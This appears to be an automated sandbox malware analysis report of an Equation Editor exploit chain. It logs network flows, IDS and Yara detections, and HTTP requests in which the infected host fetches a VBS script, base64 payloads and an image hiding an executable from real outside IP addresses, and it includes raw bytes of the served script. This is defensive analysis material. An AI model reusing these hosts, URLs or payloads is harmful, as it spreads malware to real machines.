Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2049038 ET TROJAN Malicious Base64 Encoded Payload In Image 91.92.254.29:80 -> 192.168.2.22:49162
Source: Traffic Snort IDS: 2047750 ET TROJAN Base64 Encoded MZ In Image 91.92.254.194:80 -> 192.168.2.22:49163
Source: Traffic Snort IDS: 2018856 ET TROJAN Windows executable base64 encoded 91.92.254.194:80 -> 192.168.2.22:49163
Source: Traffic Snort IDS: 2049038 ET TROJAN Malicious Base64 Encoded Payload In Image 91.92.254.194:80 -> 192.168.2.22:49163
Source: Traffic Snort IDS: 2020425 ET CURRENT_EVENTS Unknown EK Landing Feb 16 2015 b64 3 M1 192.3.216.148:80 -> 192.168.2.22:49164
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\wscript.exe Network Connect: 91.92.254.29 80 Jump to behavior
Yara detected Generic Downloader
Source: Yara match File source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.powershell.exe.33b9a80.1.raw.unpack, type: UNPACKEDPE
Contains functionality to download and execute PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036205E6 URLDownloadToFileW,ShellExecuteW,ExitProcess, 2_2_036205E6
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /imge/new-image_v.jpg HTTP/1.1Host: 91.92.254.194Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /base64.txt HTTP/1.1Host: 192.3.216.148Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 91.92.254.29 91.92.254.29
Source: Joe Sandbox View IP Address: 208.95.112.1 208.95.112.1
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: THEZONEBG THEZONEBG
Source: Joe Sandbox View ASN Name: TUT-ASUS TUT-ASUS
Source: Joe Sandbox View ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Source: Joe Sandbox View ASN Name: THEZONEBG THEZONEBG
May check the online IP address of the machine
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe DNS query: name: ip-api.com
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /datingloverstartingAgain.vbs HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.216.148Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Users_API/BrainiacMAX/file_njk01aso.gqz.txt HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Language: en-USUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 91.92.254.29
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.216.148
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.216.148
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.216.148
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.216.148
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.29
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.29
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.29
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.216.148
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.29
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036205E6 URLDownloadToFileW,ShellExecuteW,ExitProcess, 2_2_036205E6
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKContent-Type: text/vbscriptContent-Encoding: gzipLast-Modified: Thu, 04 Jul 2024 18:10:08 GMTAccept-Ranges: bytesETag: "0402a673dceda1:0"Vary: Accept-EncodingServer: Microsoft-IIS/10.0Date: Fri, 05 Jul 2024 04:23:53 GMTContent-Length: 705Data Raw: 1f 8b 08 00 00 00 00 00 04 00 dc 96 4d 8f d2 60 10 c7 e7 6c e2 77 20 1c 36 9a 28 8b 44 0f 98 78 60 2b 76 d9 ad 85 15 9a 1a 2e 06 5a 16 4a 79 a7 ac a4 1f 5e fd cd d0 9a 4d 3c 78 6f 9e f4 79 9b 99 ff cc 7f 9e b7 fe fe f5 59 12 59 4b 4d f6 12 48 44 7d e0 5b d2 1f ca 23 fd a9 4c 68 53 99 4b cc bc 2b 0e 65 45 bb 94 9c da 93 07 39 a1 93 cb 37 b9 47 63 06 d6 ad 1c 99 39 a1 3d 34 3b 45 8b 4c ba 91 05 36 1b be 00 49 84 f5 91 de 4c 06 e2 4b 07 0c 1f bb 00 69 8c 8f 88 76 8b 56 8a 65 8e c7 14 db 58 76 12 a2 13 22 db 31 9f d0 f3 89 20 a4 ef 4a 06 5e 02 fa 1b b8 a8 cc c5 b3 f2 f1 cd ef 51 6e f0 74 44 b2 66 7c 06 db 63 e6 01 bd 05 0c 73 64 5b 62 0d 18 ef 41 72 f1 32 86 83 c7 cc 98 91 6b 48 aa bb a6 f7 88 77 9f 91 63 0c 3c ca 80 08 27 e6 27 22 13 3e ad c7 4c 02 52 8e fd 1c af 29 1e 1c fc 86 48 7c e9 a3 17 a2 7f 0f ef a9 c5 1e 80 e9 60 71 42 a2 31 9c d1 1b cb 4b 79 41 16 67 c8 ab b3 3e 35 f9 c4 e7 10 fb 8c d8 33 ea 3e 36 4b da 88 d1 2b a9 cb 57 22 fb 4e ed 49 4b 1a c6 ff 20 4f 56 5f 66 6f 65 44 19 a0 f9 da 32 54 95 cc 34 c8 c4 0e 54 cd 51 9d f9 2e 2c eb b6 9f eb 60 64 94 9d 7c 94 6b 4a 5b de a1 dd b6 fc b4 e4 83 bc b7 b6 8d 24 20 32 cd d4 51 7e 10 d9 40 7a cc dd 30 9e 98 87 84 36 22 87 1d 32 79 4d 76 12 e2 9b a1 b9 81 69 2a 4d 50 27 58 6e 41 53 f6 39 6d c6 4e cc 8a 28 be 20 5d 19 7e b5 b2 3e b4 9c c7 c6 aa 47 f4 d5 39 6b ca 2d b3 53 76 02 ff 72 f2 5a ac 73 93 76 04 8a f2 56 d6 b5 a2 54 e5 de bc 30 ad ce 2a 1e 6c 0d 76 d8 6f ec fc 8d f8 f4 5c 3e 5f bb f2 1d 5f c3 6f 40 0e 1c f3 91 70 73 a6 e6 c5 05 77 85 47 f5 3f 25 9a 1d 11 2a d3 3e 6c 3c 32 e2 63 33 05 53 cf 7d 87 f1 99 0c 68 84 2a 73 b1 39 e0 3b 04 b9 43 dd 63 0f 6c f1 b0 a0 1f 63 e7 5b 36 9e d0 dd db 0a 79 58 e4 c8 03 10 cf c8 f5 f6 f1 f0 b6 c1 da 47 6f 44 14 9e dc d9 8d 74 59 ef 15 78 a1 ed 2b 17 bf 61 f1 f6 95 dc ca 37 b0 2a dc fe ff 06 86 70 8e 90 27 70 c9 ec 1c eb 69 5d 51 ca 57 af cc 4d 55 72 d2 a0 3d 15 6f 9f ee f4 9f c5 3b 56 f2 ae c9 5b 3c 6c e1 bb b6 3b 23 36 4d 2d 35 b9 aa d4 dd 75 f5 97 d9 e5 dd 6d 5a 3d 22 1b a7 e2 ed ad f6 b9 f0 99 cf f0 a3 77 df dc f8 76 9f fd 77 74 8b b5 d7 97 ba ba ff c7 ff e6 e0 cf 00 27 e4 0c f7 aa 0d 00 00 Data Ascii: M`lw 6(Dx`+v.ZJy^M<xoyYYKMHD}[#LhSK+eE97Gc9=4;EL6ILKivVeXv"1 J^QntDf|csd[bAr2kHwc<''">LR)H|`qB1KyAg>53>6K+W"NIK OV_foeD2T4TQ.,`d|kJ[$ 2Q~@z06"2yMvi*MP'XnAS9mN( ]~>G9k-SvrZsvVT0*lvo\>__o@pswG?%*>l<2c3S}h*s9;Cclc[6yXGoDtYx+
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\datingloverstartingAgain[1].vbs Jump to behavior
Source: global traffic HTTP traffic detected: GET /datingloverstartingAgain.vbs HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.216.148Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Users_API/BrainiacMAX/file_njk01aso.gqz.txt HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Language: en-USUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 91.92.254.29
Source: global traffic HTTP traffic detected: GET /imge/new-image_v.jpg HTTP/1.1Host: 91.92.254.194Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /base64.txt HTTP/1.1Host: 192.3.216.148Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic DNS traffic detected: DNS query: ip-api.com
Source: powershell.exe, 00000006.00000002.475615054.000000000623A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.475615054.00000000061A1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://192.3.216.148
Source: powershell.exe, 00000006.00000002.475615054.000000000623A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.475615054.00000000061A1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://192.3.216.148/base64.txt
Source: powershell.exe, 00000006.00000002.475615054.000000000623A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://192.3.216.148/base6L
Source: EQNEDT32.EXE, 00000002.00000002.463300087.000000000060F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.216.148/datingloverstartingAgain.vbs
Source: EQNEDT32.EXE, 00000002.00000002.463516205.0000000003620000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.216.148/datingloverstartingAgain.vbsj
Source: powershell.exe, 00000006.00000002.475615054.000000000623A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://192.3.2168
